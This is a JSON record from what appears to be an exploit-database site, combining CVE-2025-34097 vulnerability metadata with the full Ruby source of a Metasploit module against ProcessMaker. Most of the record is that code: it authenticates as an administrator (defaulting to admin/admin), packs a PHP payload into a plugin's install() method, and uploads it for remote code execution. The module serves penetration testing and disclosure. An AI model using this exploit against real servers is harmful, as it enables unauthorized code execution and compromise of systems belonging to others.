{"exploit":{"id":"MSF-multi--http--processmaker_plugin_upload","name":"ProcessMaker Plugin Upload","description":"This module will generate and upload a plugin to ProcessMaker resulting in execution of PHP code as the web server user. Credentials for a valid user account with Administrator roles is required to run this module. This module has been tested successfully on ProcessMaker versions 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1; and version 3.2.0 on Debian Linux 8.","cves":["CVE-2025-34097"],"author":"bcoles","published":"2010-08-25","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/processmaker_plugin_upload.rb","path":"modules/exploits/multi/http/processmaker_plugin_upload.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"processmaker_plugin_upload.rb","vulnerabilities":[{"id":"CVE-2025-34097","state":"PUBLISHED","title":"ProcessMaker < 3.5.4 Authenticated Plugin Upload RCE","titleSource":"CVE Program","description":"An unrestricted file upload vulnerability exists in ProcessMaker versions prior to 3.5.4 due to improper handling of uploaded plugin archives. An attacker with administrative privileges can upload a malicious .tar plugin file containing arbitrary PHP code. Upon installation, the plugin’s install() method is invoked, resulting in execution of attacker-supplied PHP code on the server with the privileges of the web server user. This vulnerability can be chained with CVE-2022-38577 — a privilege escalation flaw in the user profile page — to achieve full remote code execution from a low-privileged account.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34097","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34097"},"updatedAt":"2026-05-15T11:14:40.171Z","retrievedAt":"2026-11-26T13:46:52.889Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--processmaker_plugin_upload.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--processmaker_plugin_upload","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--processmaker_plugin_upload/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--processmaker_plugin_upload/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ProcessMaker Plugin Upload',\n        'Description' => %q{\n          This module will generate and upload a plugin to ProcessMaker\n          resulting in execution of PHP code as the web server user.\n\n          Credentials for a valid user account with Administrator roles\n          is required to run this module.\n\n          This module has been tested successfully on ProcessMaker versions\n          1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;\n          and version 3.2.0 on Debian Linux 8.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'bcoles',\n        'References' => [\n          ['CVE', '2025-34097'],\n          ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']\n        ],\n        'Payload' => { 'Space' => 20000 },\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [[ 'Automatic Targeting', {} ]],\n        'Privileged' => false,\n        'DisclosureDate' => '2010-08-25',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),\n        OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),\n        OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])\n      ]\n    )\n  end\n\n  def login(user, pass)\n    vars_post = Hash[{\n      'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),\n      'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')\n    }.to_a.shuffle]\n\n    print_status \"Authenticating as user '#{user}'\"\n    uri = normalize_uri target_uri.path, \"/sys#{@workspace}/en/neoclassic/login/authentication.php\"\n    res = send_request_cgi 'method' => 'POST',\n                           'uri' => uri,\n                           'cookie' => @cookie,\n                           'vars_post' => vars_post\n\n    if !res\n      fail_with Failure::Unreachable, 'Connection failed'\n    elsif res.code == 200 && res.body =~ /Loading styles and images/\n      # ProcessMaker 2.x and 3.x\n      print_good \"#{peer} Authenticated as user '#{user}'\"\n    elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/\n      # ProcessMaker 1.x\n      print_good \"#{peer} Authenticated as user '#{user}'\"\n    else\n      fail_with Failure::NoAccess, \"#{peer} - Authentication failed\"\n    end\n  end\n\n  def upload_plugin plugin_name\n    data = generate_plugin plugin_name\n\n    print_status \"#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)\"\n\n    # ProcessMaker 1.x requires \"-\" after the plugin name in the file name\n    fname = \"#{plugin_name}-.tar\"\n\n    boundary = \"----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}\"\n    post_data = \"--#{boundary}\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"__notValidateThisFields__\\\"\\r\\n\"\n    post_data << \"\\r\\n\\r\\n\"\n    post_data << \"--#{boundary}\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"DynaformRequiredFields\\\"\\r\\n\"\n    post_data << \"\\r\\n[]\\r\\n\"\n    post_data << \"--#{boundary}\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"form[PLUGIN_FILENAME]\\\"; filename=\\\"#{fname}\\\"\\r\\n\"\n    post_data << \"Content-Type: application/x-tar\\r\\n\"\n    post_data << \"\\r\\n#{data}\\r\\n\"\n    post_data << \"--#{boundary}\\r\\n\"\n\n    uri = normalize_uri target_uri.path, \"/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile\"\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'ctype' => \"multipart/form-data; boundary=#{boundary}\",\n      'cookie' => @cookie,\n      'data' => post_data\n    }, 5)\n\n    # Installation spawns a shell, preventing a HTTP response.\n    # If a response is received, something probably went wrong.\n    if res\n      if res.headers['location'] =~ /login/\n        fail_with Failure::NoAccess, 'Administrator privileges are required'\n      else\n        print_warning \"#{peer} Unexpected reply\"\n      end\n    end\n  end\n\n  def delete_plugin(plugin_name)\n    uri = normalize_uri target_uri.path, \"/sys#{@workspace}/en/neoclassic/setup/pluginsRemove\"\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'cookie' => @cookie,\n      'vars_post' => { 'pluginUid' => plugin_name }\n    }, 5)\n  end\n\n  def generate_plugin(plugin_name)\n    plugin_class = %Q|<?php\n      class #{plugin_name}Class extends PMPlugin {\n        function __construct() {\n          set_include_path(\n            PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .\n            get_include_path()\n          );\n        }\n      }\n    |\n\n    plugin_php = %Q|<?php\n      G::LoadClass(\"plugin\");\n\n      class #{plugin_name}Plugin extends PMPlugin\n      {\n        public function #{plugin_name}Plugin($sNamespace, $sFilename = null)\n        {\n          $res = parent::PMPlugin($sNamespace, $sFilename);\n          $this->sFriendlyName = \"#{plugin_name}\";\n          $this->sDescription  = \"#{plugin_name}\";\n          $this->sPluginFolder = \"#{plugin_name}\";\n          $this->sSetupPage    = \"setup\";\n          $this->iVersion      = 1;\n          $this->aWorkspaces   = null;\n          return $res;\n        }\n        public function setup() {}\n        public function install() { #{payload.encoded} }\n        public function enable() {}\n        public function disable() {}\n      }\n\n      $oPluginRegistry =& PMPluginRegistry::getSingleton();\n      $oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);\n    |\n\n    tarfile = StringIO.new\n    Rex::Tar::Writer.new tarfile do |tar|\n      tar.add_file \"#{plugin_name}.php\", 0777 do |io|\n        io.write plugin_php\n      end\n      tar.add_file \"#{plugin_name}/class.#{plugin_name}.php\", 0777 do |io|\n        io.write plugin_class\n      end\n    end\n    tarfile.rewind\n    tarfile.read\n  end\n\n  def cleanup\n    delete_plugin @plugin_name\n  end\n\n  def exploit\n    @workspace = datastore['WORKSPACE']\n\n    @cookie = \"PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};\"\n    login datastore['USERNAME'], datastore['PASSWORD']\n\n    @plugin_name = rand_text_alpha rand(10) + 10\n    upload_dir = \"../../shared/sites/#{@workspace}/files/input/\"\n    register_file_for_cleanup \"#{upload_dir}#{@plugin_name}-.tar\"\n    register_file_for_cleanup \"#{upload_dir}#{@plugin_name}.php\"\n    register_file_for_cleanup \"#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php\"\n    register_dir_for_cleanup \"#{upload_dir}#{@plugin_name}\"\n\n    upload_plugin @plugin_name\n  end\nend\n","sha256":"ed0c6e0af3d142c2f6dc0a29d00736e8376cac757faaf476123d78985a0d84c8","bytes":6929,"fetchedAt":"2026-11-26T13:46:52.783Z","encoding":"utf-8 (display only; download retains original bytes)"}